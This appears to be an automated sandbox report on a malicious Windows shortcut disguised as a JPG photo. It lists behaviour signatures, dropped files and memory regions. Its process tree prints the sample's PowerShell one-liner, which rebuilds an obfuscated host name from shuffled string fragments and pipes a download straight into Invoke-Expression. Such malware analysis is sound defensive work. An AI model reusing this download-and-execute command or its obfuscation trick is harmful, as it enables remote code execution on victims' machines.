Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 12:14

General

  • Target
    IMG_20260830_192341.jpg.lnk
  • Size 1KB
  • Sample260831-pelanshr4v
  • SHA256 e029b034a68ec6286429165990ee71f6c264ef0c5f1482e609d243d14b79ccb9
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260830_192341.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-RestMethod (@('p','o-guesti','f','ot','h','mage.in','o')[0,4,3,1,5,2,6] -join $EEhF) | Invoke-Expression
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4032
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5648
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF2C3.tmp" "c:\Users\Admin\AppData\Local\Temp\fnix5uop\CSC4A6F29282BF4E4891751AD440DDF414.TMP"
          4⤵
            PID:1088

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RESF2C3.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESF2C3.tmp
          • Size 1KB
          • SHA256 85339b2579f34548efdca19bd63f87b57cb6521cdf68b9a46ad553e90f5233ca
          • MD5 SHA1 SHA512 TLSH

          fnix5uop.dll

          • Path C:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.dll
          • Size 3KB
          • SHA256 6577376f8cef5c1331e180fa6bae3eecf91978d58dfac60655657c1b1720ccfc
          • MD5 SHA1 SHA512 TLSH

          CSC4A6F29282BF4E4891751AD440DDF414.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\fnix5uop\CSC4A6F29282BF4E4891751AD440DDF414.TMP
          • Size 652B
          • SHA256 eca779f9f20197b4e7070e37e06f6a97e3b964f9379e2fb716523fe6d39dcd6f
          • MD5 SHA1 SHA512 TLSH

          fnix5uop.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          fnix5uop.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.cmdline
          • Size 369B
          • SHA256 4e5a520c15201a68b140d2cfb429fb4c0ca12b579846ae9dfa52950e56ccd241
          • MD5 SHA1 SHA512 TLSH

          memory/4032-16-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-29-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-2-0x00007FFA712EF000-0x00007FFA712F0000-memory.dmp

          memory/4032-9-0x00000260E36E0000-0x00000260E38A2000-memory.dmp

          memory/4032-19-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-8-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-7-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-6-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-25-0x00000260E3030000-0x00000260E3038000-memory.dmp

          memory/4032-5-0x00000260E2FB0000-0x00000260E2FD2000-memory.dmp

          memory/4032-26-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-27-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-28-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-13-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-30-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-31-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-33-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-34-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-35-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-36-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

          memory/4032-41-0x00000260E3070000-0x00000260E308E000-memory.dmp

          memory/4032-42-0x00000260E3510000-0x00000260E35C2000-memory.dmp

          memory/4032-43-0x00000260E3090000-0x00000260E309A000-memory.dmp

          memory/4032-44-0x00000260E3080000-0x00000260E3092000-memory.dmp

          memory/4032-45-0x00000260E3070000-0x00000260E307A000-memory.dmp